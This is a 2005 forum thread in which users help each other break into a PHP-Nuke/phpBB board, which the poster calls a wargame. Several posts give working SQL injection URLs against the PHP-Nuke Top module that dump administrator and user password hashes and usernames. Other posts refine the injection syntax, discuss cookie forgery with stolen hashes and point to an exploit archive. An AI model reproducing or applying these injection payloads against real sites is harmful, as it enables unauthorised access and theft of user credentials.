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www.waraxe.us Forum Index -> PhpBB -> More needed than just Hash: phpBBmysql_sid
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More needed than just Hash: phpBBmysql_sid
PostPosted: Wed Nov 02, 2005 2:39 am Reply with quote
nicknomo
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I'm working off of a board with php-Nuke. It appears to be using version 7.0, and a yet to be identified version of phpBB.

I read the cookie tutorial in this forum, but it appears to be missing critical information. Simply editing the phpBBmysql_data cookies is not enough.

The board will not accept hashed passwords without a valid cookie entry for phpBBmysql_sid .

Does anyone have any information on what this is?

The MD5 hash is not easily crackable unfortunately... So some other method is needed to gain access.

Any ideas or comments?

So far, as part of this wargame, I've been able to grab the aid, the uid and the MD5 Hash. I thought I had this done when I got the hash, but I guess not. I'd really like to win this, so I appreciate any input.
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PostPosted: Wed Nov 02, 2005 3:26 am Reply with quote
shai-tan
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have you tried the top module exploit? It grabs all the admins md5 in the Nuke_authors database. You may be able to get another admins?

Waraxe's nuke Authors version:
http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*


or for the users:

Shai-tan's Nuke Users version:
http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,user_password,1,1%20FROM%20nuke_users/*

Shai-tan

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Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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no dice
PostPosted: Wed Nov 02, 2005 3:54 am Reply with quote
nicknomo
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unfortunately, there is only one admin

This is actually the exploit I used to get the hashes in the first place. Does this mean I'm screwed?
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PostPosted: Wed Nov 02, 2005 4:10 am Reply with quote
shai-tan
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nope there are ways I havent done much with php-nuke.

http://www.milw0rm.com/remotephp.php?it=PHP-Nuke


Shai-tan

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Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Wed Nov 02, 2005 4:15 am Reply with quote
nicknomo
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Also I noticed wit hthe users that the hashes don't match up with the user names when I display them...

I'm not sure how I would format the query to search for a hash based on a user name... Anyone?
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PostPosted: Wed Nov 02, 2005 4:18 am Reply with quote
shai-tan
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You probably need the user_id for each username todo that.


Shai-tan

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Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Wed Nov 02, 2005 4:25 am Reply with quote
nicknomo
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Well I've tried

http://[site here]/modules.php?name=Top&querylang=union%20select%200,pwd,0,0%20from%20nuke_users%20where%20user_id=MYNAME

and it turns up no results. Is my syntax wrong?

If instead I end it with (from nuke_authors instead of nuke_users)
%20where%20radminsuper=1

It returns the conditional values fine... Can't see why its not returning values for the users
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PostPosted: Wed Nov 02, 2005 4:29 am Reply with quote
shai-tan
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change the nuke_users to nuke_authors for the super user.

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?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Wed Nov 02, 2005 4:35 am Reply with quote
nicknomo
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sorry if that came out wrong..

I was wondering if there was a way to get the hash for a specific user id.

I've tried:

http://[site here]/modules.php?name=Top&querylang=union%20select%200,pwd,0,0%20from%20nuke_users%20where%20user_id=MYNAME

but it does not produce any results... am i formatting it wrong?
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PostPosted: Wed Nov 02, 2005 4:37 am Reply with quote
shai-tan
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there is probably a way I havent really got much time on my hands atm lolz.

Look for another exploit perhaps?


Shai-tan

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Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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PostPosted: Wed Nov 02, 2005 2:32 pm Reply with quote
nicknomo
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found out a solution

While I couldn't figure out how to display both, I did figure out how to display the username in the same order the passwords are displayed.

http://localhost/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION%20ALL%20SELECT%201,username,%201,user_password%20FROM%20nuke_users/*

It will dump the username into the poll... but it won't be ordered by username, it will be ordered by password.

Just do a dump of the hashes as well, and save the results.


Last edited by nicknomo on Tue Nov 08, 2005 11:31 pm; edited 1 time in total
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PostPosted: Wed Nov 02, 2005 6:28 pm Reply with quote
shai-tan
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Good stuff man


Shai-tan

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Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
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More needed than just Hash: phpBBmysql_sid
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